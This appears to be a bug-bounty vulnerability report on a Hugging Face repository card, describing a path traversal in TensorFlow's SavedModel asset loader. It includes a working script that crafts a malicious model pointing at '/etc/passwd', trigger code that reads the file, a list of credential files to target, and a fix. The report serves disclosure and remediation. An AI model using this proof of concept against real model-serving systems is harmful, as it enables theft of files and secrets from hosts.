YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Vulnerability Report: TensorFlow SavedModel AssetFileDef Path Traversal

Target Info

  • Target: TensorFlow (tensorflow/tensorflow)
  • File Format: TensorFlow SavedModel (.pb + assets/ directory)
  • Component: tensorflow/python/saved_model/loader_impl.py β€” get_asset_tensors()
  • Vulnerability Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • Impact: Arbitrary File Read from the host filesystem
  • CVSS Score: 7.5 High β€” CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Bounty Tier: $4,000 (TensorFlow Saved Model β€” MFV program)

Executive Summary

TensorFlow's SavedModel loader reads AssetFileDef.filename values from the model's saved_model.pb protobuf and constructs file paths via file_io.join(saved_model_dir, "assets", filename). Python's os.path.join ignores all preceding components when a later component is absolute β€” so filename="/etc/passwd" causes the loader to resolve /etc/passwd instead of model/assets/file. The attacker-specified path is then stored in a tensor and can propagate to TextLineDataset or lookup table ops that read the file contents, leaking them through inference.


Root Cause Analysis

File: tensorflow/python/saved_model/loader_impl.py

def get_asset_tensors(saved_model_dir, meta_graph_def_to_load, import_scope=None):
    ...
    for asset_def_bytes in asset_list:
        asset_def = meta_graph_pb2.AssetFileDef()
        asset_def.ParseFromString(asset_def_bytes)

        # filename from protobuf β€” NO SANITIZATION:
        asset_filepath = file_io.join(
            compat.as_bytes(saved_model_dir),
            compat.as_bytes(constants.ASSETS_DIRECTORY),  # "assets"
            compat.as_bytes(asset_def.filename)           # ← ATTACKER-CONTROLLED
        )
        # os.path.join('/model', 'assets', '/etc/passwd') β†’ '/etc/passwd'
        asset_tensor = constant_op.constant(asset_filepath, ...)

Python behavior exploited:

>>> import os.path
>>> os.path.join('/model/dir', 'assets', '/etc/passwd')
'/etc/passwd'   # base path completely ignored
>>> os.path.join('/model/dir', 'assets', '../../etc/shadow')
'/model/dir/assets/../../etc/shadow'  # also escapes with ..

Proof of Concept

Craft Malicious SavedModel (no TF installation required)

import struct, os

def varint(n):
    r = []
    while n > 0x7f: r.append((n & 0x7f) | 0x80); n >>= 7
    r.append(n); return bytes(r)

def field(num, data):
    return bytes([(num << 3) | 2]) + varint(len(data)) + data

target = b'/etc/passwd'
asset_def  = field(2, target)                      # AssetFileDef.filename
bytes_list = field(1, field(1, asset_def))         # CollectionDef.bytes_list
map_entry  = field(1, b'saved_model_assets') + field(2, bytes_list)
meta_graph = field(7, map_entry)                   # MetaGraphDef.collection_def
pb_bytes   = field(2, meta_graph)                  # SavedModel.meta_graphs

os.makedirs('evil_model/variables', exist_ok=True)
os.makedirs('evil_model/assets', exist_ok=True)
open('evil_model/saved_model.pb', 'wb').write(pb_bytes)
open('evil_model/variables/variables.index', 'wb').close()
open('evil_model/variables/variables.data-00000-of-00001', 'wb').close()
print("Malicious SavedModel in evil_model/ β€” AssetFileDef.filename='/etc/passwd'")

Trigger

from tensorflow.python.saved_model import loader_impl
import tensorflow.compat.v1 as tf1

with tf1.Session() as sess:
    meta = loader_impl.load(sess, ['serve'], 'evil_model')
    assets = loader_impl.get_asset_tensors('evil_model', meta)
    for name, tensor in assets.items():
        path = sess.run(tensor)
        print(f"Traversed path in tensor: {path}")
        # Output: b'/etc/passwd'

# Escalation with TextLineDataset:
import tensorflow as tf
ds = tf.data.TextLineDataset('/etc/passwd')  # path injected via asset tensor
for line in ds:
    print(line.numpy().decode())             # reads /etc/passwd line by line

Impact

  • Arbitrary file read: /etc/passwd, /etc/shadow, ~/.ssh/id_rsa, .env, cloud credentials
  • In TF Serving: file content served as inference output to the attacker
  • Works in container environments: /proc/self/environ, Kubernetes service account tokens

CVSS 3.1 Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N β€” Score: 7.5 High

Metric Value Rationale
Attack Vector Network Malicious SavedModel via model registry/upload
Attack Complexity Low Simple protobuf field change
Privileges Required None No auth
User Interaction None Automated load
Confidentiality High Arbitrary file read
Integrity None Read-only
Availability None No crash

Remediation

# In get_asset_tensors() β€” validate before path join:
filename_str = compat.as_str(asset_def.filename)

if os.path.isabs(filename_str):
    raise ValueError(f"Asset filename must be relative: {filename_str!r}")

resolved = os.path.realpath(os.path.join(saved_model_dir, 'assets', filename_str))
assets_root = os.path.realpath(os.path.join(saved_model_dir, 'assets'))

if not resolved.startswith(assets_root + os.sep):
    raise ValueError(f"Asset path traversal detected: {filename_str!r}")

References

Downloads last month
6
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support